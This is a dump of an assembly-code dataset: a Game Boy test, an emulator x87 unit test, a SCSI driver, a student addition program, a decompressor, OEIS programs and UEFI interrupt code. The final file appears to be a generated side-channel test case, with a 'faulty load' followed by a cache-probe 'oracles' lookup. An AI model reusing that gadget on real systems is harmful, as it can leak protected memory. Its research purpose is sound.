content
stringlengths
5
1.04M
avg_line_length
float64
1.75
12.9k
max_line_length
int64
2
244k
alphanum_fraction
float64
0
0.98
licenses
sequence
repository_name
stringlengths
7
92
path
stringlengths
3
249
size
int64
5
1.04M
lang
stringclasses
2 values
.size 8000 .text@48 jp lstatint .text@100 jp lbegin .data@143 c0 .text@150 lbegin: ld a, 00 ldff(ff), a ld b, 91 call lwaitly_b ld a, b1 ldff(40), a ld a, 07 ldff(4b), a ld c, 41 ld b, 03 lbegin_waitm3: ldff a, (c) and a, b cmp a, b jrnz lbegin_waitm3 ld a, 20 ldff(c), a xor a, a ldff(0f), a ld a, 02 ldff(ff), a ei .text@1000 lstatint: nop nop nop nop nop nop nop nop nop nop nop ld a, 91 ldff(40), a .text@1035 ldff a, (c) and a, b jp lprint_a .text@7000 lprint_a: push af ld b, 91 call lwaitly_b xor a, a ldff(40), a pop af ld(9800), a ld bc, 7a00 ld hl, 8000 ld d, a0 lprint_copytiles: ld a, (bc) inc bc ld(hl++), a dec d jrnz lprint_copytiles ld a, c0 ldff(47), a ld a, 80 ldff(68), a ld a, ff ldff(69), a ldff(69), a ldff(69), a ldff(69), a ldff(69), a ldff(69), a xor a, a ldff(69), a ldff(69), a ldff(43), a ld a, 91 ldff(40), a lprint_limbo: jr lprint_limbo .text@7400 lwaitly_b: ld c, 44 lwaitly_b_loop: ldff a, (c) cmp a, b jrnz lwaitly_b_loop ret .data@7a00 00 00 7f 7f 41 41 41 41 41 41 41 41 41 41 7f 7f 00 00 08 08 08 08 08 08 08 08 08 08 08 08 08 08 00 00 7f 7f 01 01 01 01 7f 7f 40 40 40 40 7f 7f 00 00 7f 7f 01 01 01 01 3f 3f 01 01 01 01 7f 7f 00 00 41 41 41 41 41 41 7f 7f 01 01 01 01 01 01 00 00 7f 7f 40 40 40 40 7e 7e 01 01 01 01 7e 7e 00 00 7f 7f 40 40 40 40 7f 7f 41 41 41 41 7f 7f 00 00 7f 7f 01 01 02 02 04 04 08 08 10 10 10 10 00 00 3e 3e 41 41 41 41 3e 3e 41 41 41 41 3e 3e 00 00 7f 7f 41 41 41 41 7f 7f 01 01 01 01 7f 7f
12.275591
24
0.621552
[ "MIT" ]
Manurocker95/GiovanniEmulator
GIOVANNI/gambatte/test/hwtests/window/late_disable_1_dmg08_out3_cgb04c_out0.asm
1,559
Assembly
%ifdef CONFIG { "RegData": { "MM6": ["0x8000000000000000", "0x4001"], "MM7": ["0x8000000000000000", "0x3FFF"] }, "MemoryRegions": { "0x100000000": "4096" } } %endif mov rdx, 0xe0000000 mov rax, 0x3ff0000000000000 ; 1.0 mov [rdx + 8 * 0], rax mov rax, 0x4000000000000000 ; 2.0 mov [rdx + 8 * 1], rax mov rax, 0x4010000000000000 ; 4.0 mov [rdx + 8 * 2], rax fld qword [rdx + 8 * 0] fld qword [rdx + 8 * 1] ; Undocumented x87 instruction ; Sets the tag register to empty for the stack register ; Then pops the stack ffreep st0 fld qword [rdx + 8 * 2] ; Overwrites previous value hlt
18.96875
55
0.645799
[ "MIT" ]
Azkali/FEX
unittests/ASM/X87/DF_C0.asm
607
Assembly
; DV3 SCSI Hard Disk Write Sector  1993 Tony Tebby section dv3 xdef sc_wsect ; write sector to ACSI disk xdef sc_wsint ; ditto - on interrupt xref sc_cmdw xref sc_nmode xref sc_statwr include 'dev8_keys_err' include 'dev8_dv3_keys' include 'dev8_dv3_hd_keys' include 'dev8_mac_assert' ;+++ ; This routine writes sectors to a hard disk for direct sector IO ; ; d0 cr sector number / error code ; d2 c p number of sectors ; d7 c p drive ID / number ; a1 c p address to write from ; a3 c p linkage block ; a4 c p drive definition ; ; status return 0, ERR.NC or ERR.MCHK ; ;--- sc_wsect hdwp.reg reg d2/d3/d4/a0/a1 movem.l hdwp.reg,-(sp) move.l a1,d3 lsr.w #1,d3 bcc.s hdwp_even ; even address move.w d2,d3 ; count subq.w #1,d3 move.l d0,d4 ; start sector move.l a1,a0 ; save address lea hdl_buff(a3),a1 ; use buffer hdwp_write move.w ddf_slen(a4),d2 bra.s hdwp_le hdwp_loop move.b (a0)+,(a1)+ ; get new sector contents hdwp_le dbra d2,hdwp_loop lea hdl_buff(a3),a1 move.l d4,d0 ; this sector addq.l #1,d4 ; ... next sector moveq #1,d2 bsr.s hd_write dbne d3,hdwp_write ; another sector hdwp_exit movem.l (sp)+,hdwp.reg rts hdwp_even pea hdwp_exit ;+++ ; This routine writes sectors to a hard disk (internal) ; ; d0 cr sector number / error code ; d2 c p number of sectors ; d7 c p drive ID / number ; a1 c p address to write from ; a3 c p linkage block ; a4 c p drive definition ; ; status return 0, ERR.NC or ERR.MCHK ; ;--- sc_wsint hd_write hdw.reg reg d3 move.l d3,-(sp) subq.b #hdl.acss,hdl_acss(a3) ; hold poll move.l d0,d3 ; block bsr.s scw_write ; write ble.s scw_done bsr.s scw_write ; and try again ble.s scw_done bsr.s scw_write ; and try again scw_done beq.s scw_exit scw_mchk moveq #err.mchk,d0 scw_exit addq.b #hdl.acss,hdl_acss(a3) ; restore poll move.l (sp)+,d3 tst.l d0 rts scw_write jsr sc_cmdw ; write command bne.l sc_nmode ; oops, restore normal mode jmp sc_statwr ; check status end
18.768519
65
0.687222
[ "BSD-2-Clause" ]
olifink/smsqe
dv3/atari/scsi/wsect.asm
2,027
Assembly
;include "macro.cbc" Pila Segment Dw 64 Dup(0) Pila EndS Datos Segment Num1 db 5 dup (0),10,13 ;99999 Num2 db 5 dup (0),10,13,'$' Res db 6 dup (0),10,13,'$' Acerca db " Instituto Tecnologico ",10,13 db " de Costa Rica ",10,13 db " Michael Salazar Alvarez ",10,13 db " Arquitectura de Computadores ",10,13 db " Profesor: Carlos Benavides ",10,13 db " II S 2009 ",10,13,'$' Ayuda db " Los valores que se van a sumar",10,13 db " deben de ser valores con un ",10,13 db " de 0 a 99999 ",10,13,'$' Datos EndS Codigo Segment inicio: Assume DS:Datos, CS:Codigo, SS:Pila xor ax,ax mov ax, datos mov ds,ax Xor Bx, Bx ;para usarlo como apuntador del PSP Mov SI, 82h ; para usarlo como apuntador del PSP MOV BL, BYTE PTR es:[SI-2] ; Esto es por que no es permitido pasarla direccion al DI directamente Xor Bh, Bh ;para limpiar la parte alta del registro CMP Bx, 0 ; estas 2 instrucciones me permiten salir si no se introdujeron parametros en la linea de comandos ;(DEBE DE SER MOSTRAR EL AYUDA NO SALIR), Ademas falta que tire la ayuda si el numero de parametros ;es superior a lo permitido osea mas de 12 JE Paso_Salir ; si no se insertan parametros en la linea de comandos CMP Bx, 0Ch ; me permite saber si el numero de caracteres es mas de los permitidos en el psp JG Paso_Salir ; si es igual me lo envia a Salir por que el numero de parametros es mayor de los permitidos (_99999_99999) ; debe de ser en lugar de Salir tirar el ayuda Mov DI, Bx Mov Dx, 10 Mov es:[DI+81h],Dx Mov Dx, 13 Mov es:[DI+82h],Dx Mov Dx, 24h ;valor ASCII del dolar en hexadecimal Mov es:[DI+83h],Dx ; pone en la ultima posicion del psp el valor del ASCII $ Mov Dx, 82h ; pone la direccion apartir de la cual la funcion 09 empezara a imprimir Mov Ah, 09 ; imprime de la posicion 82h hasta la posicio donde encuentre el valor ASCII del $ Int 21h JMP Fin_Paso_salir Paso_Salir: JMP Salir Fin_Paso_salir: Add DI, 80h ;para almacenar la ultima posicion del psp Mov Bx, DI ;para guardar el final del psp Ciclo_Invertir: CMP DI, SI JLE invertidos Mov Cl,Byte PTR es:[SI] Mov Dl, Byte PTR es:[DI] Mov es:[DI], Cl Mov es:[SI], Dl Inc SI Dec DI JMP short Ciclo_Invertir Invertidos: Mov DI, Bx ; para recordar la direccion del final del psp Mov Ax, Datos Mov DS, Ax ; se establece el segmento de datos ;pop DI ; para guardar en la pila el DI que es el final del psp, por si se requiere emplear mas Mov Bx, 0 ; para el contador Xor Dx, Dx ;para limpiar o setear el registro Mov Cx, 4 ; para que el loop carge la cantidad que tiene que cargar Mov SI, 4 Ciclo_Save_N2: Xor Dx, DX ; esto se hace por que si se ingresa un valor incorrecto, que puede afectar el Xh CMP Bx, 5 ; para saber si se han indexado mas de 5 caracteres del psp sin ningun espacio, osea que si el numero es mayor a 99999 JE Paso_Salir ; esto por que no se introdujeron los numero corectamente, DEBE DE SER PARA LLAMAR AL AYUDA Inc Bx ; para saber cuantos valores se han introducido o indexado en Num2 en el segmento de datos Mov Dl, byte ptr ES:[DI] CMP Dx, 20h ; para saber JE Continuar_Save_N1 Sub Dl, 30h Mov DS:[Num2+SI],Dl ; mueve al segmento de datos el valor en el indice SI Dec DI ; Para bajar la posicion en el psp en la que voy a buscar el siguiente valor Dec SI ; para manejar la posicion donde voy a poner el valor Dec cx ;para hacer el loop que no me funciono CMP cx, 0 JE Continuar_Save_N1 JMP Ciclo_Save_N2 ;loop ciclo_Save Continuar_Save_N1: Dec DI ; para saltar el espacio en blanco Mov Cx, 4 ; para que el loop establesca las posiciones que tiene que cargar Mov SI, 4 ; Para saver el indice en el que se va a poner el valor que estoy ingresando Mov Bx, 0 ; para el contador Xor Dx, Dx ;para limpiar o setear el registro Ciclo_Save_N1: Xor Dx, DX ; esto se hace por que si se ingresa un valor incorrecto, que puede afectar el Xh CMP Bx, 5 ; para saber si se han indexado mas de 5 caracteres del psp sin ningun espacio, osea que si el numero es mayor a 99999 JE Paso_Salir ; esto por que no se introdujeron los numero corectamente, DEBE DE SER PARA LLAMAR AL AYUDA Inc Bx ; para saber cuantos valores se han introducido o indexado en Num2 en el segmento de datos Mov Dl, byte ptr Es:[DI] CMP Dx, 20h ; para saber si el indice sigieunte es un espacion en blanco JE Salir_Ciclo_Save ;para salir de guardar los numeros Sub Dl,30h Mov Byte ptr [Num1+SI],Dl ; Permite guardar en orden inverso Dec DI Dec SI ;Dec Cx ; para hacer el loop que no funciono ;Cmp cx,0 ;JE Salir_Ciclo_Save ;JMP Ciclo_Save_N1 loop ciclo_Save_N1 ; pNO FUNCIONO Salir_Ciclo_Save: ;Ciclo para sumar Xor dx,dx ; para limpiar el registro Xor Bx,Bx ;para limpiar el registro Mov SI,4 ; para saber el indice que voy sumando Mov Cx,5 ;para el loop o el ciclo de de sumado Xor Ax,AX; para limpiar el registro que voy a usar para carry Mover: Mov Dl,Byte PTR Num1[SI]; muevo el valor de la posicion del numero 1 que voy sumando Add Dl,Byte PTR Num2[SI]; Suma el valor de la aposicion del seguno numero que voy sumando Add Dl,Al ; para sumar el carry de la suma anterior Xor Al,Al ; para borrar el carry CMP Dl, 0Ah; comparo para saber si el valor sumado es mayor de 10, para restarle un A y que me de el valor en base 10 que debo de sumar JL No_restar ; si es menor no le resto los A para pasar el resultado a Sub Dl,0Ah ; para hacer la resta Inc Al; para establecer el carry No_restar: Mov res[SI+1], Dl ; guarda el resultado de la suma Dec Cx ;para saber que cumpli un ciclo de gardado Dec SI CMP CX,0 ;para saber si y se termino el ciclo JE Salir_Sumar JMP Mover ; para repetir el ciclo. No use el loop por que no me estaba funcionando Salir_Sumar: Mov res[0],Al; para guardar un posible ultimo carry, se hace esto en lugar de comparar por que requiere menos procesos ;_______________________________________________________________________________ Xor Dx,Dx ; para limpiar la parte alta Xor Ax,Ax ; para usarlo como contador para saber cunatos espacios estan en blanco en el resultado Mov Bx,0 ; para usarlo como indice dentro de res ; se ponen espacios (20h) al inicio del resultado, y se aumenta ax para saber cuantos espacios hay Poner_espacios: Mov Dl,res[Bx] CMP Dx,0 JNE Res_Ascii Add Dl,20h Mov res[Bx],Dl Inc Bx ;para aumenta el indice Inc Ax ; para amentar el contador JMP Poner_espacios ;Convierto los valores numericos a caracteres ascci para imprimirlos Res_Ascii: Mov Dl,res[Bx] add Dl,30h Mov res[Bx],Dl Inc Bx ;no emplear un loop es por que si lo hago a como esta el bx me sirbe como indice CMP bx,06 JE Imprimir JMP Res_Ascii Imprimir: Mov Dx,offset res Add Dx,Ax Mov ah,09 Int 21h Salir: xor ax,ax mov ax,4c00h int 21h Codigo Ends END inicio
33.827907
137
0.686787
[ "MIT" ]
TEC-2014092195/IC3101-Arquitectura_De_Computadores
Tareas/Ensamblador/tasm/BIN/a.asm
7,273
Assembly
;Exomizer 2 Z80 decoder ;Copyright (C) 2008-2016 by Jaime Tejedor Gomez (Metalbrain) ; ;Optimized by Antonio Villena and Urusergi (169 bytes) ;Use z80 alternate registers to prevent undocumented instruction(169 -> 167bytes) ;Apply speed boost(167 -> 172bytes) ;Replace JR with JP(172 -> 178bytes) ; ;Compression algorithm by Magnus Lind ; ; This depacker is free software; you can redistribute it and/or ; modify it under the terms of the GNU Lesser General Public ; License as published by the Free Software Foundation; either ; version 2.1 of the License, or (at your option) any later version. ; ; This library is distributed in the hope that it will be useful, ; but WITHOUT ANY WARRANTY; without even the implied warranty of ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ; Lesser General Public License for more details. ; ; You should have received a copy of the GNU Lesser General Public ; License along with this library; if not, write to the Free Software ; Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ; ; ;input: hl=compressed data start ; de=uncompressed destination start ; ; you may change exo_mapbasebits to point to any free buffer ; ;ATTENTION! ;A huge speed boost (around 14%) can be gained at the cost of only 5 bytes. ;If you want this, replace all instances of "call exo_getbit" with "srl a" followed by ;"call z,exo_getbit", and remove the first two instructions in exo_getbit routine. IFNDEF OPTIMIZE_JUMP DEFINE JPX jr ELSE DEFINE JPX jp ENDIF deexo: ld iy, exo_mapbasebits+11 ld a, (hl) inc hl tableinit: ld b, 52 cp a ; SET ZF exo_initbits: exx ld hl, 1 ld b, 16 jr nz, exo_get4bits ld c, b ld d, h ld e, l exo_get4bits: exx IFNDEF INLINE_GETBIT call exo_getbit ELSE srl a call z,exo_getbit ENDIF exx rl b jr nc, exo_get4bits inc b ld (iy+41), b ;bits[i]=b1 (and opcode 41 == add hl,hl) exo_setbit: djnz exo_setbit-1 ;jump to add hl,hl instruction ld (iy-11), e ld (iy+93), d ;base[i]=b2 add hl, de ex de, hl inc iy dec c exx djnz exo_initbits ld c,b ;C=B=0 IFNDEF OPTIMIZE_JUMP jr exo_mainloop ELSE ld ix,exo_mainloop jp (ix) ENDIF exo_literalrun: ld e, c ;DE=1 exo_getbits: dec b ret z exo_getbits1: IFNDEF INLINE_GETBIT call exo_getbit ELSE srl a call z,exo_getbit ENDIF rl e rl d JPX nc, exo_getbits ld b, d ld c, e pop de exo_literalcopy: ldir exo_mainloop: inc c IFNDEF INLINE_GETBIT call exo_getbit ELSE srl a call z,exo_getbit ENDIF jr c, exo_literalcopy ld c, 239 exo_getindex: IFNDEF INLINE_GETBIT call exo_getbit ELSE srl a call z,exo_getbit ENDIF inc c jr nc,exo_getindex ret z push de ld d, b jp p, exo_literalrun ld iy, exo_mapbasebits-229 call exo_getpair push de rlc d jr nz, exo_dontgo dec e ld bc, 512+32 ;2 bits, 48 offset jr z, exo_goforit dec e ;2? exo_dontgo: ld bc, 1024+16 ;4 bits, 32 offset jr z, exo_goforit ld de, 0 ld c, d ;16 offset exo_goforit: call exo_getbits1 ld iy, exo_mapbasebits+27 add iy, de call exo_getpair pop bc ex (sp), hl push hl sbc hl, de pop de ldir pop hl IFNDEF OPTIMIZE_JUMP jr exo_mainloop ELSE jp (ix) ;Next! ENDIF exo_getpair: add iy, bc ld e, d ld b, (iy+41) call exo_getbits ex de, hl ld c, (iy-11) ld b, (iy+93) add hl, bc ;Always clear C flag ex de, hl ret exo_getbit: IFNDEF INLINE_GETBIT srl a ret nz ENDIF ld a, (hl) inc hl rra ret exo_mapbasebits: ;defs 156 ;tables for bits, baseL, baseH
30.079602
87
0.416804
[ "MIT" ]
uniabis/z80depacker
deexo_180.asm
6,046
Assembly
; A005718: Quadrinomial coefficients: C(2+n,n) + C(3+n,n) + C(4+n,n). ; 3,12,31,65,120,203,322,486,705,990,1353,1807,2366,3045,3860,4828,5967,7296,8835,10605,12628,14927,17526,20450,23725,27378,31437,35931,40890,46345,52328,58872,66011,73780,82215,91353,101232,111891,123370,135710,148953,163142,178321,194535,211830,230253,249852,270676,292775,316200,341003,367237,394956,424215,455070,487578,521797,557786,595605,635315,676978,720657,766416,814320,864435,916828,971567,1028721,1088360,1150555,1215378,1282902,1353201,1426350,1502425,1581503,1663662,1748981,1837540,1929420,2024703,2123472,2225811,2331805,2441540,2555103,2672582,2794066,2919645,3049410,3183453,3321867,3464746,3612185,3764280,3921128,4082827,4249476,4421175,4598025 mov $1,$0 add $0,5 bin $0,4 sub $0,$1 sub $0,2
87
664
0.805875
[ "Apache-2.0" ]
ckrause/cm
programs/oeis/005/A005718.asm
783
Assembly
; A058066: a(n) = floor(n*t), t = 1 + sqrt(5)/2. ; 0,2,4,6,8,10,12,14,16,19,21,23,25,27,29,31,33,36,38,40,42,44,46,48,50,52,55,57,59,61,63,65,67,69,72,74,76,78,80,82,84,86,88,91,93,95,97,99,101,103,105,108,110,112,114,116,118,120,122,124,127 mov $1,36 mul $1,$0 div $1,17 mov $0,$1
35.375
192
0.621908
[ "Apache-2.0" ]
ckrause/loda-programs
oeis/058/A058066.asm
283
Assembly
; A133201: A133195/3. ; 0,1,2,3,13,23,33,133,233,333,1333,2333,3333,13333,23333,33333,133333,233333,333333,1333333,2333333,3333333,13333333,23333333,33333333,133333333,233333333,333333333,1333333333,2333333333,3333333333 mov $12,$0 mov $14,$0 lpb $14,1 clr $0,12 mov $0,$12 sub $14,1 sub $0,$14 mov $9,$0 mov $11,$0 lpb $11,1 mov $0,$9 sub $11,1 sub $0,$11 mov $5,$0 mov $7,2 lpb $7,1 clr $0,5 mov $0,$5 sub $7,1 add $0,$7 sub $0,1 mov $4,6 lpb $0,1 trn $0,3 mul $4,10 mov $2,$4 lpe mov $1,$2 mov $8,$7 lpb $8,1 mov $6,$1 sub $8,1 lpe lpe lpb $5,1 mov $5,0 sub $6,$1 lpe mov $1,$6 div $1,60 add $10,$1 lpe add $13,$10 lpe mov $1,$13
16.816327
198
0.498786
[ "Apache-2.0" ]
karttu/loda
programs/oeis/133/A133201.asm
824
Assembly
; A184012: n + floor(sqrt(5n-4)); complement of A184013. ; 2,4,6,8,9,11,12,14,15,16,18,19,20,22,23,24,26,27,28,29,31,32,33,34,36,37,38,39,40,42,43,44,45,46,48,49,50,51,52,54,55,56,57,58,59,61,62,63,64,65,66,68,69,70,71,72,73,74,76,77,78,79,80,81,82,84,85,86,87,88,89,90,92,93,94,95,96,97,98,99,101,102,103,104,105,106,107,108,110,111,112,113,114,115,116,117,118,120,121,122 mov $2,$0 add $0,5 add $0,$2 sub $0,3 mul $0,2 add $0,$2 mov $1,$2 mov $2,0 lpb $0 sub $0,1 trn $0,$2 add $1,1 add $2,2 lpe mov $0,$1
27.210526
316
0.630561
[ "Apache-2.0" ]
ckrause/cm
programs/oeis/184/A184012.asm
517
Assembly
;/** @file ; ; IDT vector entry. ; ; Copyright (c) 2007 - 2008, Intel Corporation. All rights reserved.<BR> ; This program and the accompanying materials ; are licensed and made available under the terms and conditions of the BSD License ; which accompanies this distribution. The full text of the license may be found at ; http://opensource.org/licenses/bsd-license.php ; ; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, ; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. ; ;**/ .686p .model flat,C .code ; ;------------------------------------------------------------------------------ ; Generic IDT Vector Handlers for the Host. ; ;------------------------------------------------------------------------------ ALIGN 8 PUBLIC AsmGetVectorTemplatInfo PUBLIC AsmVectorFixup PUBLIC AsmVectorFixup @VectorTemplateBase: push eax db 6ah ; push #VectorNumber @VectorNum: db 0 mov eax, CommonInterruptEntry jmp eax @VectorTemplateEnd: AsmGetVectorTemplatInfo PROC mov ecx, [esp + 4] mov [ecx], @VectorTemplateBase mov eax, (@VectorTemplateEnd - @VectorTemplateBase) ret AsmGetVectorTemplatInfo ENDP AsmVectorFixup PROC mov eax, dword ptr [esp + 8] mov ecx, [esp + 4] mov [ecx + (@VectorNum - @VectorTemplateBase)], al ret AsmVectorFixup ENDP ;---------------------------------------; ; CommonInterruptEntry ; ;---------------------------------------; ; The follow algorithm is used for the common interrupt routine. ; ; +---------------------+ <-- 16-byte aligned ensured by processor ; + Old SS + ; +---------------------+ ; + Old RSP + ; +---------------------+ ; + RFlags + ; +---------------------+ ; + CS + ; +---------------------+ ; + RIP + ; +---------------------+ ; + Error Code + ; +---------------------+ ; + Vector Number + ; +---------------------+ CommonInterruptEntry PROC cli jmp $ CommonInterruptEntry ENDP END
24.426966
85
0.4931
[ "BSD-3-Clause" ]
Gumi-presentation-by-Dzh/ipmctl
MdeModulePkg/Core/DxeIplPeim/Ia32/IdtVectorAsm.asm
2,174
Assembly
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %r9 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_WC_ht+0x5126, %rsi lea addresses_normal_ht+0x94a6, %rdi clflush (%rdi) nop nop nop nop add %rbx, %rbx mov $1, %rcx rep movsb nop nop nop xor %r14, %r14 lea addresses_A_ht+0xcd26, %rsi lea addresses_normal_ht+0x162a6, %rdi nop cmp %r10, %r10 mov $0, %rcx rep movsl and %r10, %r10 lea addresses_UC_ht+0x1da6, %rsi lea addresses_WC_ht+0x10466, %rdi nop nop xor $42974, %r9 mov $46, %rcx rep movsq nop nop nop nop cmp $6306, %rdi lea addresses_A_ht+0x14adb, %rbx nop nop nop nop nop sub %r10, %r10 movl $0x61626364, (%rbx) nop nop nop nop nop inc %rdi lea addresses_WC_ht+0xdbe6, %rsi nop nop nop nop cmp %r10, %r10 movb (%rsi), %bl nop nop nop add $28930, %rsi lea addresses_WT_ht+0xcb66, %rbx nop nop and %rdi, %rdi mov $0x6162636465666768, %rcx movq %rcx, %xmm6 vmovups %ymm6, (%rbx) nop nop nop nop and $44636, %rbx lea addresses_UC_ht+0x15c1, %rsi lea addresses_D_ht+0x170a6, %rdi nop nop add $25025, %rdx mov $49, %rcx rep movsl nop nop nop nop nop add %rdi, %rdi lea addresses_normal_ht+0xd026, %rsi nop nop nop nop xor %rcx, %rcx mov (%rsi), %edi nop nop sub %rdi, %rdi lea addresses_normal_ht+0x60a6, %rdx nop add $58396, %r14 movl $0x61626364, (%rdx) nop sub $721, %rdi lea addresses_WT_ht+0x14446, %r9 nop nop nop xor $59618, %rsi vmovups (%r9), %ymm4 vextracti128 $1, %ymm4, %xmm4 vpextrq $1, %xmm4, %rbx xor $49371, %rdx lea addresses_A_ht+0x8ba6, %r9 nop nop nop nop nop inc %rdx mov (%r9), %r14w cmp %r9, %r9 lea addresses_normal_ht+0x1c406, %rcx nop nop nop and %rsi, %rsi mov $0x6162636465666768, %rdx movq %rdx, %xmm4 and $0xffffffffffffffc0, %rcx vmovaps %ymm4, (%rcx) nop nop nop nop and %r10, %r10 lea addresses_normal_ht+0x196a6, %rbx add $36156, %rsi mov $0x6162636465666768, %rdi movq %rdi, %xmm3 vmovups %ymm3, (%rbx) nop nop nop nop dec %r10 lea addresses_A_ht+0x1cc2a, %rdi nop add $63034, %r9 movb (%rdi), %cl nop nop nop and $58887, %rbx lea addresses_normal_ht+0x1bcac, %r10 nop nop nop nop and %rbx, %rbx movw $0x6162, (%r10) nop nop nop nop inc %rcx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r9 pop %r14 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %rbp push %rbx push %rsi // Faulty Load mov $0x76955600000000a6, %rbx nop and %r11, %r11 movb (%rbx), %r10b lea oracles, %rbp and $0xff, %r10 shlq $12, %r10 mov (%rbp,%r10,1), %r10 pop %rsi pop %rbx pop %rbp pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 1, 'NT': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 7, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_normal_ht'}} {'src': {'congruent': 4, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_normal_ht'}} {'src': {'congruent': 8, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_WC_ht'}} {'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': True, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_A_ht'}} {'src': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WT_ht'}} {'src': {'congruent': 0, 'same': True, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_D_ht'}} {'src': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 4, 'NT': True, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_normal_ht'}} {'src': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': True, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_normal_ht'}} {'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_normal_ht'}} {'src': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_normal_ht'}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 